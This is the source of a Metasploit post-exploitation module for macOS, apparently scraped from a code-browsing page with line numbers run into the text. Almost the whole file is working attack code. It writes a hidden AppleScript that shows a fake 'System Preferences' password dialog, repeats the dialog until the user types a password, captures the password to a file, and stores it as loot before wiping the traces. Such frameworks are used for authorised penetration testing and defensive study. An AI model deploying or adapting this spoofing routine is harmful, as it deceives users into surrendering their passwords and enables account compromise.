Path: blob/master/modules/post/osx/gather/password_prompt_spoof.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'OSX Password Prompt Spoof',14'Description' => %q{15Presents a password prompt dialog to a logged-in OSX user.16},17'License' => MSF_LICENSE,18'Author' => [19'Joff Thyer <jsthyer[at]gmail.com>', # original post module20'joev', # bug fixes21'Peter Toth <globetother[at]gmail.com>' # bug fixes22],23'Platform' => [ 'osx' ],24'References' => [25['URL', 'http://blog.packetheader.net/2011/10/fun-with-applescript.html']26],27'SessionTypes' => [ 'shell', 'meterpreter' ],28'Notes' => {29'Stability' => [CRASH_SAFE],30'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS],31'Reliability' => []32}33)34)3536register_options([37OptString.new(38'TEXTCREDS',39[40true,41'Text displayed when asking for password',42'Type your password to allow System Preferences to make changes'43]44),45OptString.new(46'ICONFILE',47[48true,49'Icon filename relative to bundle',50'UserUnknownIcon.icns'51]52),53OptString.new(54'BUNDLEPATH',55[56true,57'Path to bundle containing icon',58'/System/Library/CoreServices/CoreTypes.bundle'59]60),61OptInt.new('TIMEOUT', [true, 'Timeout for user to enter credentials', 60])62])63end6465# def cmd_exec(str, args)66# print_status "Running cmd '#{str} #{args}'..."67# super68# end6970# Run Method for when run command is issued71def run72if client.nil?73print_error("Invalid session ID selected. Make sure the host isn't dead.")74return75end7677host = case session.type78when /meterpreter/79sysinfo['Computer']80when /shell/81cmd_exec('/bin/hostname').chomp82end8384print_status("Running module against #{host}")8586dir = '/tmp/.' + Rex::Text.rand_text_alpha(6..13)87creds_osa = dir + '/' + Rex::Text.rand_text_alpha(6..13)88pass_file = dir + '/' + Rex::Text.rand_text_alpha(6..13)8990username = cmd_exec('/usr/bin/whoami').strip91cmd_exec('umask 0077')92cmd_exec("/bin/mkdir #{dir}")9394# write the credentials script and run95write_file(creds_osa, creds_script(pass_file))96cmd_exec("osascript #{creds_osa}")9798print_status("Waiting for user '#{username}' to enter credentials...")99100timeout = ::Time.now.to_f + datastore['TIMEOUT'].to_i101pass_found = false102while (::Time.now.to_f < timeout)103if file_exist?(pass_file)104print_status('Password entered! What a nice compliant user...')105pass_found = true106break107end108Rex.sleep(0.5)109end110111if pass_found112password_data = read_file(pass_file.to_s).strip113print_good("password file contents: #{password_data}")114passf = store_loot('password', 'text/plain', session, password_data, 'passwd.pwd', 'OSX Password')115print_good("Password data stored as loot in: #{passf}")116pwd = password_data.split(':', 3)117pwd.shift # date118pwd.shift # username119create_credential({120workspace_id: myworkspace_id,121post_reference_name: refname,122private_data: pwd,123origin_type: :session,124session_id: session_db_id,125private_type: :password,126username: username127})128else129print_status('Timeout period expired before credentials were entered!')130end131132print_status("Cleaning up files in #{host}: #{dir}")133cmd_exec("/usr/bin/srm -rf #{dir}")134end135136# applescript that displays the actual password prompt dialog137def creds_script(pass_file)138%(139set filename to "#{pass_file}"140set myprompt to "#{datastore['TEXTCREDS']}"141set ans to "Cancel"142repeat143try144set d_returns to display dialog myprompt default answer "" with hidden answer buttons {"Cancel", "OK"} default button "OK" with icon path to resource "#{datastore['ICONFILE']}" in bundle "#{datastore['BUNDLEPATH']}"145set ans to button returned of d_returns146set mypass to text returned of d_returns147if ans is equal to "OK" and mypass is not equal to "" then exit repeat148end try149end repeat150try151set now to do shell script "date '+%Y%m%d_%H%M%S'"152set user to do shell script "whoami"153set myfile to open for access filename with write permission154set outstr to now & ":" & user & ":" & mypass & "155"156write outstr to myfile starting at eof157close access myfile158on error159try160close access myfile161end try162end try163)164end165166# Checks if the target is OSX Server167def check_server168cmd_exec('/usr/bin/sw_vers -productName').chomp =~ /Server/169end170171# Enumerate the OS Version172def get_ver173# Get the OS Version174cmd_exec('/usr/bin/sw_vers', '-productVersion').chomp175end176end177178179